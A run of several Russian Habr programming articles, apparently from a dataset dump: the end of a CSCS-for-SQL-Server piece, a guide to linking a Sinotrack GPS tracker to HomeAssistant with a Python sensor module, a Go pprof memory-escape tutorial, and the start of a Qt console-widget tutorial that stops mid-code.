С помощью CSCS-скриптов можно значительно сократить количество строк кода, необходимых для выполнения различных SQL-операций. Но цена этого — небольшое снижение производительности, которое всегда необходимо учитывать: парсинг CSCS-выражения.
> Самым поразительным достижением индустрии компьютерного программного обеспечения является то, что она продолжает сводить на нет устойчивые и ошеломляющие успехи, достигнутые индустрией компьютерного оборудования. - Генри Петроски (Henry Petroski)
>
>
В этой статье я показал один из способов снизить эти накладные расходы. В случае нескольких операторов Insert вы создали хранимую процедуру SQL, которая вносит сразу несколько записей. Таким же образом вы можете вынести другие трудоемкие операции в код хранимой SQL-процедуры.
Еще один способ повысить производительность скриптов — предварительно скомпилировать CSCS-скрипты на этапе инициализации. Подробнее о том, как это сделать, можно прочитать [в этой статье CODE Magazine](https://www.codemag.com/Article/2001071/Compiling-Scripts-to-Get-Compiled-Language-Performance).
Я с нетерпением жду ваших отзывов, особенно о том, как вы используете CSCS-скриптинг в своих проектах, и какие приемы для повышения производительности вы знаете.
### Ссылки
* [Разработка кроссплатформенных нативных приложений с помощью функционального языка скриптов](https://www.codemag.com/Article/1711081).
* [Использование скриптового языка для разработки нативных WPF-приложений с графическим интерфейсом под Windows.](https://www.codemag.com/Article/2008081)
* [Прототипирование с помощью Microsoft Maquette: новый инструмент виртуальной реальности.](https://www.codemag.com/Article/2009071)
* [Visual Studio Code.](https://code.visualstudio.com/download)
* [CSCS Debugger и REPL.](https://marketplace.visualstudio.com/items?itemName=vassilik.cscs-debugger)
* [Книга по языку CSCS.](https://www.syncfusion.com/ebooks/implementing-a-custom-language)
* [Книга про написание нативных мобильных приложений с помощью лаконичного функционального языка.](https://www.syncfusion.com/ebooks/writing_native_mobile_apps_in_a_functional_language_succinctly)
Таблица 1: Функции SQL Server в CSCS Scripting Engine
| | |
| --- | --- |
| CSCS-функция | Описание |
| SQLConnectionString (connStr) | Задает строку подключения, которая будет использоваться со всеми другими SQL-функциями. |
| SQLTableColumns ( tableName , columnsOnly = false ) | Возвращает информацию о всех столбцов данной таблицы (имя и тип столбца). Если для последнего аргумента установлено значение true, будут возвращены только имена столбцов. |
| SQL Describe (spName) | Возвращает описание хранимой процедуры spName, включая ее тело. |
| SQLAllTables () | Возвращает список всех таблиц в базе данных. Столбцы каждой таблицы и их типы можно запросить с помощью SQLTableColumns() . |
| SQLAllProcedures () | Возвращает список всех хранимых процедур в базе данных. Каждая хранимая процедура может быть запрошена с помощью SQLDescribe(). |
| SQLQuery (queryStr , listOfParameters ) | Возвращает список строк, полученных в результате выполнения SELECT-запроса (например, "select \* from ... "). |
| SQL Non Query (nonQueryStr , listOfParameters) | Выполняет любую строку, не являющуюся SELECT-запросом (например, Update, Create, Delete, Drop и т. д.). Возвращает количество затронутых строк или -1 для операторов Create и Drop. |
| SQLInsert (tableName, listOfColumns, listOfElements) | Вставляет одну или несколько строк, переданных в listOfElements, в заданную SQL-таблицу. Данные в listOfElements должны иметь такой же порядок столбцов, как указано в параметре listOfColumns. |
| SQLCreateDB (DBName) | Создает новую базу данных. |
| SQLDropDB (DBName) | Сбрасывает существующую базу данных. |
| SQLDropTable (tableName) | Сбрасывает существующую таблицу. |
| SQLProcedure (spName, listOfArguments) | Выполняет хранимую процедуру, при необходимости передавая список аргументов. |
| SQLCursorInit (initStr) | Инициализирует курсор SQL Server либо именем таблицы, либо строкой запроса. В случае имени таблицы будут выбраны все записи из данной таблицы. Возвращает ID курсора, который будет использоваться в последующих операциях с курсором. |
| SQLCursorNext (cursorId) | Возвращает следующую запись курсора в виде списка элементов. Возвращает пустую строку, если больше нет доступных записей (в данном случае SQLCursorCurrentRow() = SQLCursorTotal()). |
| SQLCursorCurrentRow (cursorId) | Возвращает номер текущей строки, на которую указывает курсор. Он начинается с 0 и заканчивается на SQLCursorTotal(), когда больше нет доступных записей. |
| SQLCursorTotal (cursorId) | Возвращает общее количество записей. |
| SQLCursorClose (cursorId) | Закрывает курсор и высвобождает все ресурсы. |
---
Через неделю в Otus состоится открытый урок «Логирование в ASP.NET Core». На этом вебинаре мы:
— проанализируем принцип устройства ILogger и уровни логирования;
— посмотрим, куда можно писать логи в ASP.NET Core и с помощью чего;
— получим пример текущих Best Practices для логирования, Pull/Push модели логирования для средств просмотра логов (ELK, GreyLog);
— а также настроим логирование на Serilog.
Записаться можно [на странице онлайн-курса «C# ASP.NET Core разработчик».](https://otus.pw/wT6U/) | https://habr.com/ru/post/712222/ | null | ru | null |
# Подключаем любой (почти) GPS трекер (на примере Sinotrack ST-901) к умному дому HomeAssistant
### Введение
Как то ко мне в руки попал китайский GPS трекер ST-901. Устройство рассчитано в основном для использования в авто- и мото-технике, обладает gsm 2G модулем для связи с внешним миром, герметичным водонепроницаемым корпусом, небольшим встроенным аккумулятором, позволяющем работать без внешнего питания порядка 2-3 суток при передаче сигнала раз в 3 минуты, а также сигнальным проводом зажигания, позволяющем предупреждать о старте двигателя. Управлять данным трекером можно посредством SMS-команд на номер трекера, а общаться и получать уведомления как по SMS, так и подключив его к облаку через GPRS. Побаловавшись с ним некоторое время, я забросил его в ящик, пока дома не появился HomeAssistant. Возникла идея подключить его к умному дому.
### Задачи
Для подключения трекера к HomeAssistant необходимо решить две задачи: получить координаты с трекера и записать их в HomeAssistant. Если для второй задачи есть сразу несколько возможных решений (например, [gpslogger](https://www.home-assistant.io/components/device_tracker.gpslogger/) или [owntracks\_http](https://www.home-assistant.io/components/device_tracker.owntracks_http/)), то решение первой задачи в моем случае усложнялось тем фактом, что в настройках трекера для передачи координат можно указать только IP адрес, а не доменное имя. Так как у меня дома нет статического адреса, то возникла идея использовать посредника. **Замечу, что подобным образом можно подключить практически любой GPS трекер (а не только рассматриваемый мной в статье), совместимый с ресурсами посредника**. Всем, кому интересно, что из этого вышло, добро пожаловать под кат.
### Идея
Как я уже говорил выше, данный трекер можно подключать ко многим облачным сервисам. Некоторые из них с определенными ограничениями позволяют пользоваться услугами бесплатно. Некоторые сервисы имеют полноценные API для взаимодействия с ними, однако среди бесплатных я таких не нашел. Зато почти все сервисы предоставляют услугу «расшаривания» местоположения трекера по постоянной ссылке. Перебрав несколько таких сервисов и покопавшись в исходном коде расшаренных страниц, я нашел искомое в сервисе [livegpstracks](https://livegpstracks.com): запрос на получение координат. Таким образом, общая схема работы такова: трекер соединяется с сервисом livegpstracks и передает свои координаты, HomeAssistant периодически делает http запрос к сервису и получает последние записанные координаты, которые другим http запросом записываются в HomeAssistant. Вот [ссылка](https://livegpstracks.com/default.php?ch=tracklist) на список всех совместимых с сервисом трекеров.
### Реализация
**1. Получение координат запросом**
Регистрируемся в сервисе [livegpstracks](https://livegpstracks.com) и подключаем свой трекер (на сайте есть подробные инструкции для различных моделей). После этого через панель инструментов на сайте создаем приватную ссылку для слежения. Ссылка имеет вид:
```
https://livegpstracks.com/dv_USERID.html
```
где USERID – цифровой ID вашей шары.
Все. Можно обращаться к сервису через запросы. Чтобы не мучить Вас долго просто приведу формат запроса:
```
https://livegpstracks.com/viewer_coos_s.php?username=USER&ctp=one&code=USERID&tgst=site&tgsv=12&tkv11=TIMENOWMS
```
Здесь USER – пользователь, под которым вы регистрировались в сервисе livegpstracks, USERID – цифровой ID, который присваивается расшаренной ссылке, TIMENOWMS – текущее время в миллисекундах (unix time).
Типичный ответ имеет вид:
```
[{"code":"xxx","id":"xxx","lat":"44","lng":"48","speed":"0","azimuth":"0","d":"2018-06-19","t":"09:35:17","altitude":"0","battery":"0","gpsaccuracy":""}]
```
> Примечание: я существенно сократил вывод, а также изменил параметры code, id, lat, lng.
Метод для получения координат на python выглядит так:
```
def getInfoFrom(self):
timenow = int(datetime.now().strftime("%s")) * 1000
response = requests.get('https://livegpstracks.com/viewer_coos_s.php', params={'username': self._user, 'ctp': 'one', 'code': self._myid, 'tgst': 'site', 'tgsv': 12, 'tkv11': timenow})
data = response.json()
self._lat = data[0]["lat"]
self._lon = data[0]["lng"]
self._speed = data[0]["speed"]
self._direction = data[0]["azimuth"]
self._last_time_rcv = data[0]["d"] + ' ' + data[0]["t"]
```
Думаю, ничего пояснять в этом коде не нужно: получаем текущее время, делаем get запрос, получаем в ответ json, парсим его и получаем широту, долготу, скорость, направление движения и время последнего получения координат сервером.
**2. Запись координат**
Для записи я воспользовался модулем GPSLogger для HomeAssistant, так как он работает через http запрос и позволяет использовать отдельный пароль, отличный от пароля на весь HA. Из документации ([gpslogger](https://www.home-assistant.io/components/device_tracker.gpslogger/)) видно, что запрос имеет следующий формат:
```
https://HAADRESS:HAPORT/api/gpslogger?latitude=LAT&longitude=LON&device=DEV&accuracy=ACC&speed=SPD&direction=DIR&api_password=PASS
```
Здесь HAADRESS – ip адрес или имя сервера с HA, HAPORT – порт сервера, LAT – широта, LON – долгота, DEV – имя устройства для отображения в HA, ACC – точность определения координат (почему то не работает в HA, выдает ошибку, я его не использовал), SPD – скорость, DIR – направление движения, PASS – пароль для передачи координат
Метод для записи координат на python выглядит так:
```
def putInfoTo(self):
if self._lat != '' and self._lon != '':
req_str = self._haddr+'/api/gpslogger'
response = requests.get(req_str, params={'latitude': self._lat, 'longitude': self._lon, 'accuracy': 30, 'speed': self._speed, 'direction': self._direction, 'device': self._name, '
api_password': self._pwd})
self._last_time_upd = time.strftime("%Y.%m.%d %H:%M")
```
Думаю, тут тоже комментарии излишни.
**3. Модуль**
Полный код модуля получения и записи координат приведен ниже.
**Код модуля**
```
#!/usr/local/bin/python3
# coding: utf-8
import time
import requests
import json
import logging
from datetime import datetime
from datetime import timedelta
import voluptuous as vol
import homeassistant.helpers.config_validation as cv
from homeassistant.components.sensor import PLATFORM_SCHEMA
from homeassistant.const import (CONF_NAME)
from homeassistant.helpers.entity import Entity
_LOGGER = logging.getLogger(__name__)
CONF_USER = 'user'
CONF_ID = 'myid'
CONF_PWD = 'pwd'
CONF_SITE = 'haddr'
ATTR_LAT = 'Широта'
ATTR_LON = 'Долгота'
ATTR_SPEED = 'Скорость'
DEFAULT_NAME = 'GPS_Sensor'
SCAN_INTERVAL = timedelta(seconds=120)
PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({
vol.Required(CONF_USER): cv.string,
vol.Required(CONF_ID): cv.string,
vol.Required(CONF_PWD): cv.string,
vol.Required(CONF_SITE): cv.string,
vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,
})
def setup_platform(hass, config, add_devices, discovery_info=None):
user = config.get(CONF_USER)
name = config.get(CONF_NAME)
pwd = config.get(CONF_PWD)
myid = config.get(CONF_ID)
haddr = config.get(CONF_SITE)
add_devices([CarGPS(name, user, myid, haddr, pwd)])
class CarGPS(Entity):
def __init__(self, name, user, myid, haddr, pwd):
self._name = name
self._user = user
self._myid = myid
self._haddr = haddr
self._pwd = pwd
self._lat = ''
self._lon = ''
self._speed = '0'
self._direction = '0'
self._last_time_rcv = ''
self._last_time_upd = ''
def getInfoFrom(self):
try:
today = int(datetime.now().strftime("%s")) * 1000
response = requests.get('https://livegpstracks.com/viewer_coos_s.php', params={'username': self._user, 'ctp': 'one', 'code': self._myid, 'tgst': 'site', 'tgsv': 12, 'tkv11': today})
data = response.json()
self._lat = data[0]["lat"]
self._lon = data[0]["lng"]
self._speed = data[0]["speed"]
self._direction = data[0]["azimuth"]
self._last_time_rcv = data[0]["d"] + ' ' + data[0]["t"]
except:
_LOGGER.error('coudnt get parameters')
def putInfoTo(self):
if self._lat != '' and self._lon != '':
try:
req_str = self._haddr+'/api/gpslogger'
response = requests.get(req_str, params={'latitude': self._lat, 'longitude': self._lon, 'accuracy': 30, 'speed': self._speed, 'direction': self._direction, 'device': self._name, '
api_password': self._pwd})
_LOGGER.info(response)
self._last_time_upd = time.strftime("%Y.%m.%d %H:%M")
except:
_LOGGER.error('coudnt put parameters')
#for HASS
@property
def name(self):
return self._name
@property
def state(self):
return self._last_time_upd
def update(self):
self.getInfoFrom()
self.putInfoTo()
@property
def device_state_attributes(self):
attr = {}
attr[ATTR_LAT] = self._lat
attr[ATTR_LON] = self._lon
attr[ATTR_SPEED] = self._speed
return attr
```
Для подключения данного модуля код необходимо скопировать в директорию «config\_folder\_homeassistant/custom\_components/sensor/car\_location.py», а также добавить в конфигурацию следующие строки:
```
device_tracker:
- platform: gpslogger
password: !secret gpslogger_password
sensor:
- platform: car_location
name: car_sensor
user: USER
myid: USERID
haddr: YOUR_HA_ADDRESS
pwd: !secret gpslogger_password
```
Здесь все переменные из раздела «Получение координат запросом».
Данный модуль трудится в HA уже не один месяц безо всяких сбоев и иных проблем.
На этом все, спасибо за внимание.
**UPD:**
HomeAssistant обновили компоненту GPSLogger, в связи с чем новая версия мода и настроек:
**новые настройки**
```
device_tracker:
- platform: gpslogger
sensor:
- platform: car_location
name: car_sensor
user: USER
myid: USERID
haddr: YOUR_HA_ADDRESS_WEBHOOK
```
YOUR\_HA\_ADDRESS\_WEBHOOK — адрес вебхука GPSLogger, получить его можно в разделе Настройки — Интеграции — GPSLogger.
**новый код модуля**
```
#!/usr/local/bin/python3
# coding: utf-8
import time
import requests
import json
import logging
from datetime import datetime
from datetime import timedelta
import voluptuous as vol
import homeassistant.helpers.config_validation as cv
from homeassistant.components.sensor import PLATFORM_SCHEMA
from homeassistant.const import (CONF_NAME)
from homeassistant.helpers.entity import Entity
_LOGGER = logging.getLogger(__name__)
CONF_USER = 'user'
CONF_ID = 'myid'
CONF_SITE = 'haddr'
CONF_NAME = 'name'
ATTR_LAT = 'Широта'
ATTR_LON = 'Долгота'
ATTR_SPEED = 'Скорость'
ATTR_DATE = 'Обновлено'
DEFAULT_NAME = 'GPS_Sensor'
SCAN_INTERVAL = timedelta(seconds=120)
PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({
vol.Required(CONF_USER): cv.string,
vol.Required(CONF_ID): cv.string,
vol.Required(CONF_SITE): cv.string,
vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,
})
def setup_platform(hass, config, add_devices, discovery_info=None):
user = config.get(CONF_USER)
name = config.get(CONF_NAME)
myid = config.get(CONF_ID)
haddr = config.get(CONF_SITE)
add_devices([CarGPS(name, user, myid, haddr)])
class CarGPS(Entity):
def __init__(self, name, user, myid, haddr):
self._name = name
self._user = user
self._myid = myid
self._haddr = haddr
self._lat = ''
self._lon = ''
self._speed = '0'
self._direction = '0'
self._last_time_rcv = ''
self._last_time_upd = ''
def getInfoFrom(self):
try:
today = int(datetime.now().strftime("%s")) * 1000
response = requests.get('https://livegpstracks.com/viewer_coos_s.php', params={'username': self._user, 'ctp': 'one', 'code': self._myid, 'tgst': 'site', 'tgsv': 12, 'tkv11': today})
data = response.json()
self._lat = str(data[0]["lat"])
self._lon = str(data[0]["lng"])
self._speed = str(data[0]["speed"])
self._direction = str(data[0]["azimuth"])
self._last_time_rcv = data[0]["d"] + ' ' + data[0]["t"]
except:
_LOGGER.error('coudnt get parameters')
def putInfoTo(self):
if self._lat != '' and self._lon != '':
try:
header = {'Content-Type': 'application/x-www-form-urlencoded'}
body = 'latitude=' + self._lat + '&longitude=' + self._lon + '&device=' + self._name + '&accuracy=30&battery=100&speed=' + self._speed + '&direction=' + self._direction + '&altitude=0&provider=0&activity=0'
response = requests.post(self._haddr, headers=header, data=body)
self._last_time_upd = time.strftime("%Y.%m.%d %H:%M")
except:
_LOGGER.error('coudnt put parameters')
#for HASS
@property
def name(self):
return self._name
@property
def state(self):
return self._last_time_upd
def update(self):
self.getInfoFrom()
self.putInfoTo()
@property
def device_state_attributes(self):
attr = {}
attr[ATTR_LAT] = self._lat
attr[ATTR_LON] = self._lon
attr[ATTR_SPEED] = self._speed
attr[ATTR_DATE] = self._last_time_rcv
return attr
```
**UPD2:**
HomeAssistant обновили логику работы с версии 0.88, в связи с чем новая версия мода: [sensor](https://yadi.sk/d/2O-682IeNGdgiw)
**UPD3:**
Новая версия интеграции. Проект переехал на [GitHub](https://github.com/mavrikkk/car_location). Актуальные версии там. | https://habr.com/ru/post/414509/ | null | ru | null |
# Охота за убегающей памятью в Go на этапе разработки
Проблемы
--------
Убегание памяти в кучу влечет за собой следующие потенциально решаемые проблемы:
1. Снижение производительности из-за расходов на выделение памяти
2. Снижение производительности из-за расходов на сборку мусора
3. Появление ошибки`Out of Memory` , если скорость появления мусора превышает скорость его уборки
Указанные проблемы могут решаться несколькими способами:
1. Увеличением объема вычислительных ресурсов (память, процессор)
2. Тонкой настройкой механизма сборщика мусора
3. Минимизацией числа побегов в кучу
В данной статье я рассмотрю только третий путь.
С чистого листа
---------------
Если все еще впереди, но уже поставлена цель добиться производительности, близкой к максимально возможной, то нужно знать в лицо главных замедлителей в плане работы с памятью. Встречаем основные конструкции, число которых следует минимизировать: `make` , `new` , `map` ,`go` . Есть и более скрытые способы учинить побег, их я рассмотрю уже в процессе "охоты", а пока - основные способы профилактики.
Вместо постоянного выделения памяти через `make` и `new` следует максимально переиспользовать уже ранее выделенное. Одним из способов добиться такого переиспользования является `sync.Pool()`, на habr этот способ был рассмотрен [здесь](https://habr.com/ru/post/277137/). Чтобы поменьше быть КО замечу, что использовать элементы типа `[]byte` ,как это делается в статье по ссылке, не стоит - при каждом возврате будет дополнительно выделяться 32 байта памяти (для go1.14.6 windows/amd64). Мелочь, но неприятно; если стремиться к совершенству, лучше переиспользовать интерфейсы или указатели, а еще лучше использовать [butebufferpool](https://github.com/valyala/bytebufferpool) от [@valyala](/users/valyala).
С `map` история такая. Интенсивное использование `map` ведет к интенсивному выделению памяти, но это не единственная проблема. Если приложению нужен огромный кэш, и этот кэш реализован через `map`, то можем получить то, из-за чего Discord перешел на Rust. Т.е. на постоянное, в рамках уборки мусора, сканирование гигантского скопления указателей будут тратиться ресурсы, и по каким-то метрикам система выйдет за рамки требований. Для решения этой проблемы великий [@valyala](/users/valyala) сделал [fastcache](https://github.com/VictoriaMetrics/fastcache), там же можно найти и ссылки на альтернативные решения, и, опять же у него, наряду с другими советами по повышению производительности, можно найти достаточно детальный разбор, как [использовать slices вместо maps](https://habr.com/ru/post/509240/).
С оператором `go` просто - все обработку нужно развести по фиксированному набору горутин и каналов. Запускать горутину на каждый запрос можно, но относительно дорого и плохо предсказуемо по расходу памяти.
Имеет смысл сделать такое замечание, и я его сделаю - предотвращение массовых "побегов" имеет свою цену, в частности, упомянутый `fastcache` далеко не "идиоматичен". Нам, например, идеально подходит кэш `[]byte`->`[]byte`но, не факт, что это так для всех. Возможно, дешевле будет усилить аппаратную часть, а то и вообще ничего не делать - все зависит от требований к системе, те самые "rps", "95th percentile latency" и т.д. Возможно, и даже скорее всего, все будет работать и в "коробочном" варианте, да еще и с запасом. Так что будет вполне разумным сделать прототип "горячих путей" обработки и погонять на скорость. Т.е. заняться той самой "охотой".
Охота
-----
Пойдем опять "на поклон" к Александру Валялкину и выполним:
```
git clone https://github.com/valyala/fasthttp
```
Чтобы начать охоту, необязательно добавлять в тесты на производительность некий профилирующий код, как это предлагается, например, [здесь](https://habr.com/ru/post/490570/), просто наберем:
```
go test -bench=PServerGet10Req -benchmem -memprofile netmem.out
```
и
```
go test -bench=kServerGet10Req -benchmem -memprofile fastmem.out
```
Первая команда запустит тесты для стандартного http.Server, вторая - для fasthttp.Server. По выводу мы заметим, что fasthttp примерно в десять раз быстрее и все операции проходят в zero-allocation режиме. Но это не все, теперь у нас есть профили `netmem.out` и `fastmem.out`. Смотреть их можно по-разному, для быстрой оценки ситуации я предпочитаю такой способ:
```
echo top | go tool pprof netmem.out
```
Что дает разбивку потребления памяти по 10 самым "прожорливым" функциям:
```
Showing top 10 nodes out of 53
flat flat% sum% cum cum%
698.15MB 21.85% 21.85% 710.15MB 22.22% net/textproto.(*Reader).ReadMIMEHeader
466.13MB 14.59% 36.43% 466.13MB 14.59% net/http.Header.Clone
423.07MB 13.24% 49.67% 1738.32MB 54.39% net/http.(*conn).readRequest
384.12MB 12.02% 61.69% 384.12MB 12.02% net/textproto.MIMEHeader.Set
299.07MB 9.36% 71.05% 1186.24MB 37.12% net/http.readRequest
137.02MB 4.29% 75.33% 137.02MB 4.29% bufio.NewReaderSize
134.02MB 4.19% 79.53% 134.02MB 4.19% net/url.parse
122.45MB 3.83% 83.36% 122.45MB 3.83% bufio.NewWriterSize (inline)
99.51MB 3.11% 86.47% 133.01MB 4.16% context.WithCancel
87.11MB 2.73% 89.20% 87.11MB 2.73% github.com/andybalholm/brotli.(*h5).Initialize
```
Можно получить подробную схему убеганий в графическом виде через:
```
go tool pprof -svg netmem.out > netmem.svg
```
После выполнения команды в netmem.svg будет картинка типа такой (фрагмент):
Есть и более крутой способ:
```
go tool pprof -http=:8088 netmem.out
```
Здесь, по идее, должен запуститься браузер, и этот браузер с какой-то вероятностью покажет текст: `Could not execute dot; may need to install graphviz.` Те, кто работает на Unix-подобных системах и так знают, что делать, пользователям же Windows могу посоветовать поставить [chocolatey](https://chocolatey.org/install) а затем, с правами администратора, вызвать `cinst graphviz`. После этого можно начать по-всякому крутить профиль. Моя любимая крутилка вызывается через VIEW/Source:
Здесь, кроме очевидных убеганий через `make`, мы также видим большие потери на преобразование `[]byte`в `string.` Операции со строками весьма затратны и, если "идем на рекорд", их следует избегать и работать исключительно с `[]byte.` Еще одним способом "убежать", с которым встречался, является возврат адреса локальной переменной, т.е. `return &localVar` . Есть и другие варианты, но углубляться не буду - ваш личный профиль их покажет.
Несмотря на сокрушительное превосходство fasthttp в этом тесте, именно эту библиотеку я не рекомендовал бы использовать. Или рекомендовал бы с осторожностью - с fasthttp у вас не будет поддержки HTTP/2.0, поддержка websockets отполирована не с такой тщательностью, как сам fasthttp (на момент, когда я эту тему изучал), ну и, главное, на реальной нагрузке может и не получиться десятикратного выигрыша. У нас в одном тесте на железе типа c5.4xlarge получалось 250.000 RPS для `fasthttp.Server` против 190.000 RPS для `http.Server` . Выигрыш есть, но вам точно надо больше, чем 190.000 RPS? Тут очень многое зависит от профиля нагрузки, от того, что с этой нагрузкой делается дальше, ну и от требований к системе, само собой.
Последним моментом, которого хочу коснуться, является сериализация данных. Построив прототип "горячего пути" для своего приложения и погоняв тесты есть шанс увидеть, что самой прожорливой частью являются преобразования из json/yaml в объекты программы и обратно, и на фоне этой прожорливости меркнет все остальное, что бы вы не пытались написать. Выбор решения тут будет весьма нетривиален и его хоть сколько-нибудь полное описание выходит за рамки этой статьи, поэтому ограничусь кратким результатом наших, далеко не репрезентативных, тестов.
Выполнив ряд экспериментов, мы остановились на flatbuffers, но сделали вокруг него обертку [dynobuffers](https://github.com/untillpro/dynobuffers/), назначение которой - читать и писать без генерации кода, используя имена полей. Вещица пока сыровата, но, надеюсь, скоро доделаем.
Результаты чтения "все поля большого объекта":
```
Avro 23394 ns/op 11257 B/op
Dyno_Untyped 6437 ns/op 808 B/op
Dyno_Typed 3776 ns/op 0 B/op
Flat 1132 ns/op 0 B/op
Json 87331 ns/op 14145 B/op
```
Результаты чтения "несколько полей большого объекта":
```
Avro 19311 ns/op 11257 B/op
Dyno_Typed 62.2 ns/op 0 B/op
Flat 19.8 ns/op 0 B/op
Json 83824 ns/op 11073 B/op
```
Последний сценарий является для нас основным, ради которого все и затевалось, и здесь ускорение, по сравнению с тем же linkedin/goavro - весьма и весьма существенное.
Опять скажу - все зависит от конкретных данных и способов их обработки. Например, весь выигрыш на (де)сериализации можно потерять при сохранении, ибо `avro` часто дает "пакует" данные более компактно, чем `flatbuffer`.
Заключение
----------
С проблемами, которые ведут к снижению производительности в Go, вполне можно бороться, но нужно иметь в виду, что эта борьба имеет свою цену. Прежде, чем начинать ее, лучше экспериментально сопоставить возможности выбранного способа обработки данных с требованиями к системе - может быть, все будет работать прямо "из коробки" с минимальными ухищрениями.
Ссылки
------
* [Грехи оптимизации производительности](https://habr.com/ru/post/509240/)
* [Как мы оптимизировали наш DNS-сервер с помощью инструментов GO](https://habr.com/ru/company/otus/blog/487934/)
* [Профилирование и оптимизация программ на Go](https://habr.com/ru/company/badoo/blog/301990/)
* Заставка [Охота на пиранью](https://www.zastavki.com/rus/Movies/wallpaper-9713.htm) | https://habr.com/ru/post/519534/ | null | ru | null |
# Qt. Создание виджета-консоли для графического приложения
Привет добрым людям.
При прочтении этого заголовка читатели могут подумать: зачем смешивать консольные и графические приложения – консоль в GUI-приложении не нужна. А вот и нет, смею заметить. Иногда совмещение функциональной консоли с полным набором команд и графического отображения для удобной навигации и просмотра данных может дать в итоге мощный инструмент.
И у меня есть пример.
Начав использовать быстрое key-value хранилище данных Redis для своих проектов, я обнаружил, что на данный момент нет ни одного вменяемого desktop-приложения для просмотра, редактирования и администрирования баз данных Redis. Есть только консоль от разработчиков, веб-интерфейс Redis Admin UI, который для своей работы требует .NET (что само по себе уже отпугивает) и пару Ruby-приложений, сделанных, похоже, на скорую руку, на коленке.
Хотелось бы иметь что-то удобное и быстрое, как сама база данных Redis. Поэтому я решил восполнить этот пробел и написать такой инструмент. Так как нужен быстрый – то C++, так как нужен кроссплатформенный – то Qt.
Из-за того, что все возможности базы данных не реализуешь, да они и могут появляться каждый день новые, нужно было добавить в графический интерфейс консоль. На основе какого виджета в Qt ее имитировать, и как, и хочу вам рассказать.
#### От беспредела к тотальному контролю
Для базового виджета консоли я выбрал QPlainTextEdit. Во-первых, он включает в себя расширенные возможности редактирования текста, которые нам могут понадобиться, а во-вторых, он позволяет добавлять форматирование: подсветка разных элементов цветом нам бы не помешала.
Итак, создаем потомка QPlainTextEdit.
```
class Console : public QPlainTextEdit{};
```
Несмотря на то, что QPlainTextEdit – это упрощенная версия QTextEdit, он разрешает пользователю делать черезчур большое количество действий, непозволительное для приличной консоли.
Поэтому первое, что мы сделаем, — это ограничим все, что только можно. Перейдем от полного беспредела к тотальному контролю.
Для этого переопределим встроенные слоты, получающие нажатия клавиш и клики мышки:
```
void Console::keyPressEvent(QKeyEvent *){}
void Console::mousePressEvent(QMouseEvent *){}
void Console::mouseDoubleClickEvent(QMouseEvent *){}
void Console::contextMenuEvent(QContextMenuEvent *){}
```
После этих строк пользователь не сможет ни ввести символ в поле виджета, ни выделить кусок текста, ни удалить строку – полная блокировка.
#### Этап либерализации
Теперь пойдем от тотального запрета к разумной демократии, попутно разрешая все, что понадобится.
Первое, что сделаем – это определим строку приглашения (prompt):
```
// class definition
QString prompt;
// contructor
prompt = "redis> ";
```
И выведем строку приглашения в консоль:
```
// constructor
insertPrompt(false);
// source
void Console::insertPrompt(bool insertNewBlock)
{
if(insertNewBlock)
textCursor().insertBlock();
textCursor().insertText(prompt);
}
```
Нужно, чтобы при клике мышкой нельзя было переставить курсор, но можно было сделать консоль активной:
```
void Console::mousePressEvent(QMouseEvent *)
{
setFocus();
}
```
При вводе обычных букв, цифр и других полезных символов, они должны добавляться в строку команды:
```
void Console::keyPressEvent(QKeyEvent *event)
{
// …
if(event->key() >= 0x20 && event->key() <= 0x7e
&& (event->modifiers() == Qt::NoModifier || event->modifiers() == Qt::ShiftModifier))
QPlainTextEdit::keyPressEvent(event);
// …
}
```
Символы можно стирать клавишей Backspace, но не все, а только до определенного момента – чтобы строка приглашения не дай бог не затерлась:
```
void Console::keyPressEvent(QKeyEvent *event)
{
// …
if(event->key() == Qt::Key_Backspace
&& event->modifiers() == Qt::NoModifier
&& textCursor().positionInBlock() > prompt.length())
QPlainTextEdit::keyPressEvent(event);
// …
}
```
Определим реакцию виджета на ввод команды (при нажатии клавиши Enter):
```
void Console::keyPressEvent(QKeyEvent *event)
{
// …
if(event->key() == Qt::Key_Return && event->modifiers() == Qt::NoModifier)
onEnter();
// …
}
```
При вводе команды мы вырезаем кусок текста от строки приглашения до конца текстового блока и испускаем сигнал, к которому можно будет присоединить слот:
```
void Console::onEnter()
{
if(textCursor().positionInBlock() == prompt.length())
{
insertPrompt();
return;
}
QString cmd = textCursor().block().text().mid(prompt.length());
emit onCommand(cmd);
}
```
Так же на время обработки команды приложением, устанавливаем флажок блокировки текстового поля.
```
void Console::onEnter()
{
// …
isLocked = true;
}
void Console::keyPressEvent(QKeyEvent *event)
{
if(isLocked)
return;
// …
}
```
Приложение – родитель виджета обработает команду и передаст консоли результат выполнения, тем самым разблокируя ее:
```
void Console::output(QString s)
{
textCursor().insertBlock();
textCursor().insertText(s);
insertPrompt();
isLocked = false;
}
```
#### История команд
Хотелось бы, чтобы история всех вводимых команд сохранялась и при нажатии клавиш вверх/вниз можно было бы по ней перемещаться:
```
// class definition
QStringList *history;
int historyPos;
// source
void Console::keyPressEvent(QKeyEvent *event)
{
// …
if(event->key() == Qt::Key_Up && event->modifiers() == Qt::NoModifier)
historyBack();
if(event->key() == Qt::Key_Down && event->modifiers() == Qt::NoModifier)
historyForward();
}
void Console::onEnter()
{
// …
historyAdd(cmd);
// …
}
void Console::historyAdd(QString cmd)
{
history->append(cmd);
historyPos = history->length();
}
void Console::historyBack()
{
if(!historyPos)
return;
QTextCursor cursor = textCursor();
cursor.movePosition(QTextCursor::StartOfBlock);
cursor.movePosition(QTextCursor::EndOfBlock, QTextCursor::KeepAnchor);
cursor.removeSelectedText();
cursor.insertText(prompt + history->at(historyPos-1));
setTextCursor(cursor);
historyPos--;
}
void Console::historyForward()
{
if(historyPos == history->length())
return;
QTextCursor cursor = textCursor();
cursor.movePosition(QTextCursor::StartOfBlock);
cursor.movePosition(QTextCursor::EndOfBlock, QTextCursor::KeepAnchor);
cursor.removeSelectedText();
if(historyPos == history->length() - 1)
cursor.insertText(prompt);
else
cursor.insertText(prompt + history->at(historyPos + 1));
setTextCursor(cursor);
historyPos++;
}
```
#### Делаем красиво: раскраска консоли
Для этого в конструкторе виджета определим общую гамму цвета для консоли – фон черный, буквы вводимой команды – зеленые:
```
QPalette p = palette();
p.setColor(QPalette::Base, Qt::black);
p.setColor(QPalette::Text, Qt::green);
setPalette(p);
```
При выводе строки приглашения делаем шрифт зеленого цвета:
```
void Console::insertPrompt(bool insertNewBlock)
{
// …
